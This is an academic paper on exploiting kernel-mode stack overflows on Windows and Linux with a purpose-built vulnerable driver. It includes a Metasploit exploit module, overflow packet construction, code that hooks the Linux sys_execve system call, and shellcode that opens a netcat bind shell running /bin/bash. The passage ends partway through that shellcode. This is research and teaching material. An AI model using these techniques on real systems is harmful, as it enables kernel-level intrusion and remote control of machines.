

Kernel-mode exploits primer

Sylvester Keil*

Clemens Kolbitsch†

Secure Systems Lab, Technical University Vienna
SEC Consult Unternehmensberatung GmbH

Abstract

This paper investigates the process of exploiting kernel-mode vulnerabilities on Windows and Linux. First, the common elements of kernel-mode exploits will be introduced. Issues of Windows driver programming and exploiting Windows kernel-mode vulnerabilities with the Metasploit framework will be addressed next, followed by a description of an example exploit. Then, the focus will shift to Linux and a discussion of possible vulnerability types in kernel-mode. Finally, the integration of Linux kernel-mode exploits with the Metasploit 3.0 framework will be discussed on the basis of an exemplary exploit.

1 Introduction

Recent years have seen a dramatic rise of awareness for security issues in academia, the software industry and the media. Considerable amounts of research have been dedicated to the detection and prevention of vulnerabilities, while exploitation techniques and defense strategies alike have become increasingly more creative and sophisticated. Over time, even complex techniques such as exploiting heap overflows have been well documented and efficiently automated: what once required a substantial level of technical proficiency is now available at the fingertips of everyone capable of installing the right tools or conveniently included in self-spreading Internet worms. Obviously, the progress of attackers has been matched every step of the way by new developments in intrusion detection and advancements in fields that have been traditionally been victimized (such as memory management). It has been pointed out[3], however, that the spotlight of research has previously most prominently been directed at user-space applications, and that a shift of interest towards issues in kernel-mode is inevitable. One could argue that today this shift is already in full swing as discussions of kernel-mode exploitation on all operating systems are being published (e.g. [15], [3], or [11]).

Operating systems' kernels undeniably rank among the more prestigious pieces of software. Typically, kernel developers are extremely advanced programmers equipped with a wealth of experience, and their contributions are subject to thorough code audits and strict security guidelines. So, why make kernel-mode vulnerabilities for such attractive targets?

No doubt responsible for their high appeal is the fact that a payload executed in kernel-space can effectively outmaneuver virtually any security mechanism in place on the target, because it can assume complete control over the system. But why invest so much energy into the design of exploits if vulnerabilities in kernel-code are extremely rare, if there is no useful entry point for the exploits to be found? While kernel-code itself is traditionally relatively more secure than most user-space applications, all modern kernels follow a modular approach, i.e. they usually provide a framework to insert modules into the kernel. The need for such a framework is perhaps most apparent in the case of device drivers: operating systems are generally expected to support a wide range of hardware and devices; obviously, it is impossible for kernel developers to have intricate knowledge of every little device available and it is usually the responsibility of hardware manufacturers to provide device drivers that support their products. Naturally, this only works if there is a well defined interface to insert software modules into the operating systems' kernels. Device drivers and third-party modules constitute a considerable part of today's kernels, a part that is often not subject to the same high level of security awareness as proper kernel-code. Needless to say, however, that from an attacker's perspective a device driver flaw is no less valuable than a kernel flaw.

Another factor that features prominently in the list of potential reasons for the rising interest in kernel-mode vulnerabilities is the increasing popularity of 802.11 wireless devices. Wireless device drivers are typically executed in kernel-space, 802.11 is a relatively complex set of protocol specifications in comparison to other level 1/2 protocols, attacks on 802.11 device drivers requires neither physical access nor an established network connection and potential vulnerabilities in the driver are usually accessible by anyone

*sk@seclab.tuwien.ac.at

†ck@seclab.tuwien.ac.at

close enough to establish a wireless link, to name only a few reasons why 802.11 device driver vulnerabilities seem such an attractive target. Like any device for network communication, wireless devices rely on specific communication protocols which state how certain goals (i.e. finding available networks, connecting to a secured network, exchanging data etc.) can be achieved. These protocols lay down all rules and limitations imposed on each message and define common structures. Quite often, drivers rely heavily on their communication partners' strict adherence to these structures and rules. Obviously, this works fine as long as no partner violates any of the restrictions. Sometimes however, hardware devices may not function properly or drivers fail to behave as expected or to follow the mandatory structures. This can lead to problems or even system crashes on the receiving end of the communication. When deliberately crafting a malformed packet and sending it to a vulnerable host (i.e. a machine using a poorly programmed device driver) an attacker cannot only crash the receiving host but may even be able to run arbitrary commands by using a buffer-overflow.

Obviously, developing an exploit is useless as long as no vulnerability is known to serve as foundation for the exploit. Furthermore, it is not worthwhile to create new exploits for already well-known problems as there are typically already exploits available, not to mention that patches and updates have usually been released to work against such an attack. It should come as no surprise, then, that this paper has a connection to finding new wireless device driver vulnerabilities: in a related project[10] we are currently investigating into a new and efficient means to fuzz¹ wireless device drivers in an emulated environment. We hope that it will be possible to easily find potential vulnerabilities using our fuzzer. In order to test whether a vulnerability is harmful we want to be able to efficiently create proof-of-concept exploits, and this is where the present work comes into play: this paper will describe the process of exploiting vulnerabilities in kernel-mode. Following the approach presented by [3] we want to create a framework that allows for execution of user-space payloads in kernel-mode on Linux systems. In the following sections we will explain the general ideas behind the approach, followed by an in-depth description of an exemplary Windows- and Linux-exploit.

2 Windows kernel-mode exploits

In [2] bugcheck and skape discuss the theory of kernel-mode exploits on Windows at great length. There is also

¹*Fuzz testing*, or simply *fuzzing*, is a software testing technique developed at the University of Wisconsin-Madison that has proved particularly effective in detecting potential security vulnerabilities in protocol implementations.

plenty of material about extensive research of this topic before and after them available from other sources (e.g., see [8], [3], or [5]). Not surprisingly, the Windows kernel-mode exploits available from the Metasploit framework today are based on considerable portions of the work above. Since we will be using the Metasploit exploits later on, we will dedicate this section to an overview of some of the important theoretic principles of these exploits. For further details on most of the issues introduced here, refer to [2].

Kernel-mode exploits tend to be relatively more involved than their respective counterparts in userland. The reason for this, quite obviously, lies in the complexity of kernel-space itself. For example, what if the exploit's payload is executed in the context of an hard- or software interrupt? Furthermore, kernel libraries and interfaces are very different from those available to user-applications. Ironically, this fact weighs so heavy that a kernel-mode exploit will typically try to safely return to user-space to execute code. As described in [3] this reason was also in the way the new Metasploit framework handles kernel-mode exploits: in a nutshell, the idea is to load a regular user-space payload (of which there is an ample supply in the framework) and create an environment from within kernel-mode that is able to execute the payload. In essence, this process consists of four distinct components; bugcheck and skape [2] speak of: migration, stager, recovery, and stage. Depending on the actual vulnerability only a subset of these components may be required for successful exploitation.

The first step, *migration*, is unique to kernel-mode exploits. Contrary to user-space, a process in kernel-space may be executing in the context of a hard- or software interrupt — the Windows kernel in particular operates on so called *interrupt request levels* (IRQL). This may have significant consequences: for example, a process running at a certain IRQL may not be able to block, reference certain memory ranges, or to call important library routines. That is to say, it may be necessary for an exploit to work to be executed at a lower IRQL than where the exploit originally occurred. Obviously, one possibility to achieve this is by *migrating* the payload into a different context to be executed. In general, there are different strategies to choose from — which one to apply is usually dependent on the exploit in question. Here are some migration strategies described in [2]:

- It is possible to **directly adjust the IRQL**. While this is perhaps the easiest and most straight forward approach, it may potentially result in serious crashes or deadlocks if simply leaving the higher IRQL leads to an illegal state (e.g. if the interrupt had acquired a lock prior to the exploit that now unexpectedly stays in place).
- Another popular technique of payload migration works

by **System call hooks**. Basically, the idea is to replace the pointer to the system call dispatcher routine with a pointer to the payload. Obviously, the payload must be copied to a readily accessible and unused location for this to work.

- The next scenario discussed by bugcheck and skape involves Windows' **thread notify routine**. Analogously to the system call hooks described above, for this strategy to work the payload must be copied to a suitable memory location, where it will be available when the notify is called. Depending on the Windows version the process of registering a thread notify routine differs (see [2] for details), but in essence a callback structure or a simple pointer to the payload must be installed, so that the payload will be called every time a thread is created or deleted.
- In [5] Conover suggests yet another similar technique: **hooking object type initializer procedures**. The idea here is to replace callbacks in the object manager for a certain object type. That way, the payload will be called for example every time an object of the respective type is created.

During the *migration* phase of the exploit, we already mentioned that it may be necessary to copy a part of the payload to an easily accessible memory location to be executed later in a safer context. The component of the exploit that is responsible for this process is also known as the *stager*. Typically the code to be copied by the stager will come piggy-backed with the stager itself, but it may as well have been planted in advance or be otherwise present somewhere in the address space already. Usually, a stager will try *staging* a payload from kernel- to user-space, i.e. in order to allow for well known payloads to be re-used in kernel-mode exploit scenarios. Not surprisingly, stagers come in different flavors, for example:

- The first approach works in combination with the system call hook migration technique described earlier, bugcheck and skape call this the **system call return address overwrite** stager [2]. Again, the first step is to copy the payload to be executed to a suitable memory location. In this case we are dealing with a user-space payload, so the location should be somewhere in the user part of the virtual memory address space. Next, the hook for the system call instruction must be set. Now, when a system call is executed, the hooked routine alters the return address of the user-mode stack to point to the payload. Also, the original return address must be saved somewhere in order to divert back to the calling process after the payload has executed successfully. When this is done, the hooked routine calls

the system call as usual. When the call returns it will return via the payload back to the original process.

- The next technique is mentioned in [2] and discussed at length in [8], **Thread Asynchronous Procedure Calls (APC)**. Once again, the payload must be stored somewhere in userland. Then, a suitable thread within a user-mode process must be identified. For obvious reasons this should be a privileged process in most cases. Furthermore, the thread in question must be in the alertable state, in order to allow for an APC being queued to it. In a nutshell, the stager has initialize the APC structure and point the APC routine to the payload's location. Finally, the APC must be added to the thread's APC queue, and the payload will be executed in the context of the privileged user-mode process.
- A **user-mode function pointer hook** is another option for a stager, if the exploit is already executed in the context of a process. Basically, the stager could redirect any function pointer of that process to the user-mode payload. Obviously, this approach depends very much on the vulnerable process itself.
- Very effective, from an attacker's perspective, is the **SharedUserData system call hook**. The *SharedUserData* structure on Windows XP starting with SP0² contains function pointers to the system call dispatcher and return routines at a well known offset; these pointers are used by all system call stubs [2]. The stager itself works as follows: at first, as usual, the user-mode payload must be copied to an appropriate memory location; secondly, the function pointer to the system call dispatcher must be changed to the new location of the payload; at the end of the payload a jump instruction to the real dispatcher routine must be added, in order for the system calls to still be processed. A big advantage of this staging technique is that it does not require prior migration, because *SharedUserData* cannot be paged out and can therefore be accessed regardless of the IRQL [2].

So far, we have frequently mentioned the payload that will ultimately be executed, so a few words on the topic seem in order. Obviously, the whole point of the exploit is to execute this payload. After migration, the stager puts the payload in place and ensures that it will be executed either in user- or kernel-mode in the desired context. As you will probably have guessed by now, this payload is also called the *stage* component of the exploit. Usually, the stage will

²Actually, SP0 featured an executable *SharedUserData* which directly executed the *sysenter* instruction. Since XP SP2 and 2003 SP1, however, this instruction set has been replaced by function pointers, because it is now possible to mark *SharedUserData* non-executable in the Permission Table [2].

be a regular user-mode payload, i.e. it may open a reverse shell or carry out another nefarious deed of your choice. If the stage is designed to run in kernel-mode the staging prior to its execution may not be necessary. See [8] for a number of examples of actual kernel-mode stages.

Up until now, we have given an overview of a number of techniques used to install and execute a kernel-mode exploit's payload. An important issue that we have not addressed yet, is the issue of graceful *recovery* from the exploit process. For obvious reasons it is not an option to simply let the kernel crash after the stage has been installed, as this will only lead to a BSOD and the stage may never even be completed.

Evidently, recovery techniques depend intimately on the type of exploit and where it occurs in the kernel: a stack overflow will require different steps to be taken to resume ordinary control flow than, for example, a heap overflow. In fact, individual recovery strategies may differ to such an extent from each other (depending on the actual exploit they are suited to recover from) that the question whether or not it is feasible to design generic recovery payloads that work efficiently for a range of exploits, is very much in controversy. Nevertheless, [2] discusses a number of scenarios with potentially useful recovery strategies. If the vulnerability is in the context of a function that is assigned to an exception handler, an easy recovery might be to simply trigger an exception, and the computer will not crash. Other scenarios include to force a system worker thread to restart execution at its entry points, or, in cases where the vulnerability does not occur in a system-critical thread, to cause the thread to spin or block indefinitely (for details see [2]). The problem of all of these scenarios is their dependence on no locks being held: it would be disheartening indeed, to recover elegantly from the exploit only to be caught in a deadlock. For this reason, it would be desirable to have a simple and efficient means to generically release all locks currently held by the thread of execution in which the vulnerability occurs. However, we are not aware of an elegant solution of this issue.

2.1 Windows driver programming

A lot of information on how to write Windows drivers is available from [16]. We used the Kernel-Mode Driver Framework of the Windows Driver Foundation to write a simple driver for a file device. With the driver in place, we had to create a vulnerability to exploit. In section 3.2 we describe types of kernel-mode vulnerabilities on Linux; in theory, these types also apply to Windows, albeit with a few differences. For the present work, we decided to focus on stack-overflow vulnerabilities. For this reason we created a vulnerable function to be called by the *SioctlDeviceControl* assigned to our file device.

```

1  NTSTATUS
2  SioctlDeviceControl(
3  IN PDEVICE_OBJECT DeviceObject,
4  IN PIRP Irp
5  )
6  {
7  PIO_STACK_LOCATION  IrpSp;
8  NTSTATUS             ntStatus = STATUS_SUCCESS;
9  ULONG               inBufLength;
10 PCHAR               inBuf;
11 PMDL                mdl = NULL;
12 PCHAR               buffer = NULL;
13
14 IrpSp = IoGetCurrentIrpStackLocation(Irp);
15 inBufLength = IrpSp->Parameters.DeviceIoControl.InputBufferLength;
16 if (!inBufLength)
17 {
18     ntStatus = STATUS_INVALID_PARAMETER;
19     goto End;
20 }
21
22 switch (IrpSp->Parameters.DeviceIoControl.IoControlCode)
23 {
24     case IOCTL_SIOCTL_METHOD_IN_DIRECT:
25         inBuf = Irp->AssociatedIrp.SystemBuffer;
26         buffer = MmGetSystemAddressForMdlSafe(Irp->MdlAddress,
27             NormalPagePriority);
28
29         if (!buffer)
30         {
31             ntStatus = STATUS_INSUFFICIENT_RESOURCES;
32             break;
33         }
34
35         PointOfNoReturn(inBuf, inBufLength); (A)
36
37         Irp->IoStatus.Information = 3;
38         break;
39
40     default:
41         ntStatus = STATUS_INVALID_DEVICE_REQUEST;
42         break;
43 }
44
45 End:
46 Irp->IoStatus.Status = ntStatus;
47 IoCompleteRequest( Irp, IO_NO_INCREMENT );
48 return ntStatus;
49 }

```

The function *PointOfNoReturn* that is called at (A) is our vulnerable function. If the information read from the device is large enough, i.e. if *inBufLength* is greater than 256, there will be a stack-overflow in *PointOfNoReturn*.

```

1  void PointOfNoReturn(PCHAR buffer, ULONG bufferlen)
2  {
3  ULONG i;
4  CHAR wayTooSmallBuffer[512];
5  memcpy(wayTooSmallBuffer, buffer, bufferlen);
6  }

```

In order to simulate a remote exploit, and to enable us to use a separate machine to deliver the exploit, we also added a second windows application that would open a socket, wait for incoming messages, and forward them to the file device.

2.2 Exploiting the driver

A lot of the research presented in [2] and [3] has found its way into the Metasploit framework. Starting with version 3.0 it is possible to use the framework for kernel-mode exploits, with many Windows modules (e.g., stager, recovery etc.) already included. In section B.1 we provided a general introduction to the Metasploit framework, here we will explain how we can use it to exploit our stack-overflow vulnerability.

The new kernel-mode exploits in Metasploit all make use of the mixin module *Exploit::KernelMode*. Basically, the mixin replaces the selected payload by a new kernel-mode payload that encapsulates the original code. Currently, the

available payloads include recovery and stager code for Windows XP SP2/2K3 SP1³. Recovery works either by thread spinning (this may affect system performance and could result in a deadlock) or restarting the idle thread by jumping back to the entry point of *KiIdleLoop* (the correct address of this symbol must be set in advance). As regards stagers, we have already explained that they are responsible of *staging* the final payload. i.e. to copy it to a suitable location and execute it directly or indirectly. The currently available Metasploit stager **sud_syscall_hook** stages a user-mode payload in an unused portion of *SharedUserData* and points the *SystemCall* attribute to it. In a nutshell, this will result in the payload's execution every time a user-mode process makes a system call. Additionally, the stager checks that it is actually running in the context of a user-mode system process before running the embedded payload, and it utilizes one of the above recovery techniques.

So, how can we use all these elements to actually exploit our vulnerability? Basically, we need to write a new Metasploit module that includes the *Exploit::KernelMode* mixin. Such a module might look as follows:

```

1  require 'msf/core'
2
3  module Msf
4
5  class Exploits::Windows::Driver::VulnDriver_Windows < Msf::Exploit::Remote
6
7  include Exploit::Remote::Tcp
8  include Exploit::KernelMode
9
10 def initialize(info = {})
11   super(update_info(info,
12     'Name' => ... ,
13     'Description' => ... ,
14     'Author' => ... ,
15     'License' => MSF_LICENSE,
16     'Version' => ... ,
17     'References' => ... ,
18     'Privileged' => 'true',
19     'DefaultOptions' =>
20     {
21       'EXITFUNC' => 'thread',
22     },
23     'Payload' =>
24     {
25       'Space' => 400,
26     },
27     'Platform' => 'win',
28     'Targets' =>
29     [
30       # Windows XP SP2 install media, no patches
31       # 5.1.2600.2180 (xpsp_sp2_rtm_040803-2158)
32       [ 'Windows XP SP2 (5.1.2600.21800), A5AGU.sys 1.0.1.41',
33         {
34           'Ret' => 0x804ed5cb, # jmp esp
35           'Platform' => 'win',
36           'Payload' =>
37           {
38             'ExtendedOptions' =>
39             {
40               'Stager' => 'sud_syscall_hook', (A)
41               'PrependUser' => "\x81\xC4\x54\xF2\xFF\xFF", # add esp,
42               'Recovery' => 'idlethread_restart', (B)
43               'KiIdleLoopAddress' => 0x804dc0c7, (C)
44             }
45           }
46         ]
47       ],
48     ],
49     'DefaultTarget' => 0
50   ))
51
52   register_options(
53     [
54       Opt::RPORT(55555)
55     ], self.class)
56   end
57
58   def exploit

```

³There is also a migration module included in version 3.0 but was not implemented at the time of writing.

```

59   connect
60   sock.put(create_packet)
61   handler
62   disconnect
63   end
64
65   ...
66
67   end
68   end

```

Notice how, in the *initialize* function we are defining stager and recovery modules to be used (at A and B). Furthermore, at (C) *KiIdleLoopAddress* must be set according to the target operating system for the recovery to work. Since we are using TCP to transmit the exploit, we are using Metasploit's *Exploit::Remote::TCP* mixin, which supplies a number of convenient functions (e.g., connect, disconnect etc.). The *exploit* function itself is trivial: simply connect to the target, deliver the exploit and disconnect. Obviously, the interesting stuff happens in *create_packet* which needs to be defined to complete our module.

```

1  def create_packet
2    # fill up the buffer
3    buf = rand_text(512)
4
5    # Return address is a jmp ESP
6    buf += "AAAA" # saved stack frame
7    buf += [ target.ret ].pack('V') # return address
8
9    # add padding that overwrites the arguments passed
10   # to the vulnerable function on the stack
11   buf += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
12
13   # append the payload
14   buf += payload.encoded
15
16   buf
17 end

```

The first part of the packet contains enough random bytes to fill up the buffer in our vulnerable device. Then, comes the actual exploit: we overwrite the return address on the stack with the address⁴ of a *jmp *esp* instruction. The padding on line 10 we found to be necessary. Finally, the payload is appended at the end of the packet. Remember, that this payload can be any user-mode payload available in Metasploit, and is wrapped by the kernel-mode exploit module. In other words, the entire exploit packet on the wire will look something like this:

```

1  .. .. .
2  .. .. .
3  .. .. .
4  .. .. . # 512 random bytes
5  41 41 41 41 CB D5 4E 80 # saved eip and ret
6  90 90 90 90 90 90 90 90 # padding
7  90 90 .. .. .
8  .. .. . # sud_syscall_hook stager
9  .. .. . # idlethread_restart recovery
10 .. .. .
11 .. .. . # stage (any user-mode payload)
12 .. .. .

```

Now, an actual exploit scenario may be as follows: load the the vulnerable driver on the target machine. Log in as a regular user (no superuser privileges) and start the client application that listens for an incoming exploit; this ensures that the exploit will be triggered by an unprivileged user. On the attacking machine, start Metasploit select the exploit and a suitable payload, e.g. a remote reverse shell and

⁴Obviously, this address must be known in advance. In our example, the value is set in the *initialize* function. For our Windows XP SP2 target we picked the address *0x804ed5cb*.

launch the attack. If everything works, the attacker is now able to send arbitrary commands to the target. These commands will be executed without the limitations of the user who triggered the exploit.

3 Linux kernel-mode exploits

Like on Windows, considerable amounts of research have been dedicated to a close investigation of the intricate workings of kernel-mode exploits on Unix and Linux systems, e.g. see [9], [15], [14]. Despite this, Metasploit does not yet include modules and wrappers for kernel-mode exploits on Linux. In our present and future work, we hope to help add this missing functionality to the framework. In the following sections, we will discuss a number of general issues that come into play when trying to exploit vulnerabilities in Linux kernel-space, and document the process of developing and exploiting a vulnerable driver, modelled on the example presented in the previous chapter.

3.1 Linux device drivers

Linux distinguishes between three different classes of devices: character, block and network devices. Typically, driver code that manages access to these devices lives in modules. Linux kernel modules can either be loaded and unloaded at run-time, or be compiled into a monolithic kernel.

The distinction into three classes is necessary, because devices and the way the operating system accesses them can differ considerably. Here is a quick overview of the three classes (for more detailed information on Linux device drivers refer to [7]):

Character devices. Similar to a file, this type of device can be accessed as a stream of bytes. A character (char) device is represented in the Linux filesystem by a node with a major- and a minor-number. Typically these nodes can be found in the `/dev` directory, for example

```
l crw-rw-rw- 1 root root 5, 0 2007-09-30 12:50 /dev/tty
```

is a character device (indicated by the "c" at the beginning of the permission field) with a major-number of 5 and a minor-number of 0. These filesystem nodes are either created by the kernel at boot-time (e.g. in the case of a serial port) or by the user. In order to access a device a module registers itself in the kernel with the node's major-number, i.e. when it is loaded the module lets the kernel know that it will be responsible for a node with a certain major-number. Minor-numbers are used to differentiate between multiple devices or nodes within a module responsible for the respective major-number.

In addition to registering with the correct major-number, a char module usually implements at least the *open*, *close*, *read*, and *write* system calls. Unlike a regular file, char nodes can generally be accessed only sequentially (although exceptions are possible).

Block devices. From a user's perspective, block devices seem very similar to char devices: they are also represented by filesystem nodes, as in

```
l brw-rw---- 1 root disk 8, 0 2007-09-30 12:34 /dev/sda
```

with major- and minor-numbers (but notice the "b" at the beginning). Unlike char devices, however, block devices (like hard-disks) can host a filesystem and support only I/O operations that move entire blocks of data. This fact is usually hidden to user-space applications and only apparent in the way data is managed internally by the kernel and the module.

Network interfaces. The different nomenclature already hints at the different nature of network modules as opposed to the two classes described above. Typically, a network *interface* is a hardware device capable of transferring data to and from other hosts in a network (although exceptions are possible, e.g. the loopback interface). These interfaces have no direct representation in the filesystem, because they are not stream-, but packet-oriented. As such, they depend on inherently different I/O operations and are typically made available to the system not via the filesystem, but by a unique interface name (e.g. `eth0`).

3.2 A simple character device driver

In the introduction we briefly mentioned our related project of fuzzing wireless device drivers [10]. While our work ultimately aims at automated exploitation of vulnerabilities of wireless drivers detected by our fuzzer, it is our intention, at this point, to create a framework that allows for exploitation of vulnerabilities in kernel-space in general, not limited to vulnerabilities that occur in a wireless network device driver. Because char modules are less complex than their network counterparts, and because it is considerably easier to set up a test-environment using char nodes, we decided to begin by exploiting a flaw in a char device driver. Future work will include network modules for testing as well.

Having decided upon the type of module to act as target for the exploit, we faced the question of what class of vulnerability to choose. But what kind of vulnerabilities are there in Linux kernel-space? In [15] sgrakkyu and twiz identify four categories into which to place flaws in the kernel:

- **NULL/user-space dereference vulnerabilities** occur if a stray pointer into a part of the virtual address space

reserved for user-space is used. By mmapping the respective virtual memory page it is possible to make the kernel access "valid" malicious data. If the pointer's dereferencing occurs in the context of an instruction pointer modification an exploit is possible by simply placing shellcode at the desired memory location. If the dereferencing of the pointer does not involve direct instruction pointer manipulation, it may still be possible to exploit the vulnerability by way of a controlled write of arbitrary (or not so arbitrary) data to kernel-space.

- **Heap- or slab-overflows.** Although it is probably going to be replaced by the new SLUB allocator in the near future, most Linux systems today use the SLAB allocator to accelerate the allocation and deallocation of small memory objects. Basically, this allocator introduces a new level of abstraction by managing continuous memory pages and providing an interface to kernel processes to *allocate* and *free* memory faster and more efficiently. More detailed information about kernel memory management and the slab allocator is available from [1] or [7]. In theory, slab-overflows function similarly to heap-overflows in user-space applications: the overflow occurs when data is written beyond the boundaries of a memory object previously allocated by *kmalloc*. This can lead to different exploitation scenarios (see [15] for an in-depth discussion and a working exploit).
- Theoretically, **stack-overflows** in kernel-space work no differently from stack-overflows in userland. The main difference, however, is the kernel-stack itself: on Linux it is usually only one or two pages (i.e. 4 or 8 kilobytes) in size, and one characteristic of kernel code often is to use as little stack space as possible. With the exception of frame pointers (the Linux kernel is compiled with *-fomit-frame-pointer*) a kernel stack-overflow vulnerability could allow overwriting of the saved instruction pointer or some variable. Because of the kernel-stack's limited size, the overflow could also result in the overflowing of the memory allocated for the kernel-stack itself. Stack overflows in kernel-space are discussed in [9] by noir in more detail and also further below.
- A fourth category is set aside for different kinds of **logical bugs** (in [15] sgrakkyu and twiz elaborate on **race conditions** in particular). These kinds of bugs are difficult to define, because essentially every bug is unique and cannot usually be exploited directly, but rather has the potential to result in another class of vulnerability eventually (typically an overflow).

For the scope of this paper we decided to focus our at-

tention particularly on stack-overflows (future work will include other types of vulnerabilities). One reason for the strong appeal stack-overflows had on us, is the fact that after trashing the stack and hijacking the control-flow it is mandatory to return safely (otherwise the system will become unusable). But more about this further below. Another reason for our choice was that we wanted to use the same type of vulnerability as on windows (see above).

In order to start having fun with kernel-mode exploits we wrote a simple dummy char module and created a node to access it from the filesystem. In the module's *write* function, i.e. the function that handles writes to the node/device, we copied the input into kernel-space and used it to call our vulnerable function, where it would then be written to a buffer on the stack. At this point, it was possible to overwrite the function's saved instruction pointer, simply by writing to the filesystem node.

```
1  static ssize_t
2  dev_write(
3      struct file* filp,
4      const char* msg,
5      size_t length,
6      loff_t* offset
7  )
8  {
9      int bytes_written = 0;
10     char* ptr = buffer;
11
12     /* make sure we do not overflow the static buffer */
13     if (length > MAX_LEN) length = MAX_LEN;
14
15     while (length) {
16         get_user(*(ptr++), msg++); (A)
17         length--;
18         bytes_written++;
19     }
20
21     /* call the vulnerable method */
22     PointOfNoReturn(buffer, bytes_written); (B)
23     return bytes_written;
24 }
```

The listing above shows the function assigned to *struct file_operations.write*. As you can see, at (A) we are copying the input from user-space into a static buffer in kernel-space. At (B) we call the same vulnerable function we used for the Windows exploit earlier. If the length of *buffer* exceeds 512 the kernel-stack in *PointOfNoReturn* will overflow.

In order to allow us to send exploit-code from a remote host, we again wrote a simple helper-application that would open a TCP port and wait for incoming exploit packets to write to the vulnerable device. So, with all the pieces in place, we were again ready to start with the exploit.

3.3 Exploiting the driver

Because the Metasploit framework had worked so well for the Windows exploit, we decided to try to base a Linux exploit as closely as possible on the techniques described in chapter 2. We resolved, in other words, to "port" the Windows exploit over to Linux, by retaining the logical distinction between migration, stager, recovery and stage and using Metasploit as a framework for the exploit. This section will document this process.

3.3.1 Migration

Migration was not necessary for our exploit, but it is definitely an issue that also applies to Linux kernel-mode exploits. We plan to address it in our future work.

3.3.2 Stager

For our stager we chose to use a similar approach as with the Windows exploit, i.e. installing a **system call hook**. The first problem to solve when attempting to install the hook, is to actually find the system call table. Typically, the `sys_call_table` symbol is not exported to LKMs anymore and its location obviously varies from installation to installation. In a word, it is necessary to search the kernel address-space for its actual location. To do this, we used an adjusted version of the excellent method presented in [14]. Because Linux supports user-mode programs to issue a system call via interrupt number 128 (by using the assembly instruction `int $0x80`) the respective interrupt handler (the system call dispatcher) must call the correct system call. To achieve this, the dispatcher routine reads the system call id from the register `eax` and uses it as an offset from the base address of the system call table. That is to say, somewhere close to the beginning of the system call dispatcher routine there is the following instruction:

```
1 ff 14 85 XX XX XX XX call <sys_call_table>(,%eax,4)
```

Where `XX XX XX XX` is the address of system call table. That is to say, if one finds the dispatcher routine, the address of `sys_call_table` can be found by a pattern matching algorithm. That being said, the system call table can be located as follows:

1. **Find the Interrupt Descriptor Table.** Linux initializes the IDT during system initialization and saves the location in the `idtr` register [1]. The assembly instruction `sidt` provides reading access to this value⁵.
2. **Find the system call dispatcher.** In Linux, the IDT is stored in the `idt_table` symbol. It consists of 256 8-byte `idt_descr` elements [15], the 128th of which contains a pointer to the system call dispatcher routine.
3. **Find the system call table.** As we mention earlier, the dispatcher routine will issue a call that follows the above pattern. That means we can search the beginning of the function for the call and extract the address of the system call table from it.

The following code listing illustrates this process further:

⁵When experimenting in the kernel-space, numerous crashes and reboots are inevitable. For this reason we did most of our work in a virtual environment (using QEMU), and we should point out the `sidt` assembly instruction will probably not work as expected on a virtual host.

```
1 struct {
2     unsigned short limit;
3     unsigned int base;
4 } __attribute__((packed)) idtr;
5
6 // an interrupt gate descriptor
7 struct {
8     unsigned short off1;
9     unsigned short sel;
10    unsigned char none, flags;
11    unsigned short off2;
12 } __attribute__((packed)) *igd;
13
14 static unsigned long** sct(void)
15 {
16     int i = 0;
17     unsigned long *sys_call;
18     unsigned long **sys_call_table;
19     unsigned char *p;
20
21     // (1) find idt_table
22     __asm__("sidt %0" : : "m"(idtr));
23
24     // (2) find system_call
25     igd = idtr.base + 8*0x80;
26     sys_call = (igd->off2 << 16) | igd->off1;
27
28     // (3) find sys_call_table
29     // ff 14 85 XX XX XX XX call <sys_call_table>(,%eax,4)
30
31     sys_call_table = 0x0;
32     p = (char*)sys_call;
33
34     // check the first 100 bytes in system_call
35     for (i = 0; i < 100; ++i) {
36         if ((*long*)++p << 8) == 0x8514ff00) {
37             sys_call_table = *(long*)(p+3);
38             break;
39         }
40     }
41     return sys_call_table;
42 }
```

As you will remember, the whole idea of the *stager* component is to set up a (user-mode) payload to be executed later. With the address of the system call table in our possession, we are now able to install hooks for our payload to be executed later, but a number of questions remain: which system call to install the hook for? Where should we store the payload? And how can we ensure that privileged user-mode code-execution is possible?

In answer to the second question, we took up the suggestion in [15] and used the IDT to store our payload. We already mentioned, that the IDT consists of 256 8-byte entries. Because the entries between number 33 and 127 are currently unused by Linux, there should be roughly 800 bytes of space available for our purposes. So, in other words we can copy our payload to this address (assuming `idtr` was initialized, see above):

```
1 igd = idtr.base + 8 * 0x33;
2 payload_address = (igd->off2 << 16) | igd->off1;
```

The other two questions we solved by hooking the `sys_execve` system call. Since the values in `sys_call_table` are unlikely to change, we assume it is safe to simply change the `__NR_execve` entry in order to install our hook. As observant readers will not fail to notice, our approach is a bit of a gamble, because we have no way of knowing which user will next call `sys_execve`. That is to say, code-execution may not happen in a superuser context. To address this and other issues, we intend to come up with further stager strategies.

The following code snippet illustrates how to install the system call hook:

```
1 sys_call_table[__NR_execve] = (unsigned int)((unsigned char*)
    payload_address);
```


3.3.3 Recovery

As we have already outlined in chapter 2, recovery from an exploit is of particular importance in kernel-space. At the time of writing, our exploit does not use any recovery strategies yet, i.e. the vulnerable module keeps crashing. In general, the situation is much worse on Windows (BSOD) than on Linux where the module crashes but the kernel *may* remain usable, but obviously this is not a satisfying solution.

[15] outlines a recovery strategy for stack-based exploits: basically, by preparing a valid fake stack it may be possible to return from the exploited process using the *iret* instruction. We plan to spend more research on this and other techniques in the future.

3.3.4 Stage

Once more, the stage itself is the easiest component. Since we are hooking the `sys_execve` system call we can basically run any program on the target machine. Ultimately, however, we want to be able to rely on all Linux user-mode payloads available in the Metasploit framework. For this, a separate kernel-mode wrapper for Linux will be necessary.

Our current payload replaces the arguments to the `sys_execve` system call, restores the original system call hook (so that it will only be executed once), and calls the original system call (which will now execute the desired application).

The following payload, opens a remote shell with the privileges of the user who issued the system call.

```

1  /**
2  * insert argv[0..6]... it will be copied from
3  * this buffer during the stager
4  */
5  "/bin/nc\x00"
6  "-l\x00"
7  "-p\x00"
8  "10000\x00"
9  "-e\x00"
10 "/bin/bash\x00"
11
12 /**
13 * restore the system hook to sys_execve
14 */
15 /**
16 unsigned int *p = (unsigned int*)sys_execve_backup;
17 unsigned int call = p[1];
18 p = (unsigned int*)p[0];
19 *p = call;
20 */
21 "\x8b\x15\x00\x00\x00\x00" // mov <backup+4>,%edx
22 "\xa1\x00\x00\x00\x00\x00" // mov <backup>,%eax
23 "\x8b\x4c\x24\x08" // mov 0x8(%esp),%ecx
24 "\x89\x10" // mov %edx,(%eax)
25
26 /**
27 * move filename and argv pointer somewhere
28 * different so we don't overwrite anything
29 * else if the new structure is bigger than
30 * the old one...
31 *
32 * use some available (paged) user-mode memory.
33 * in case the environment variables are stored
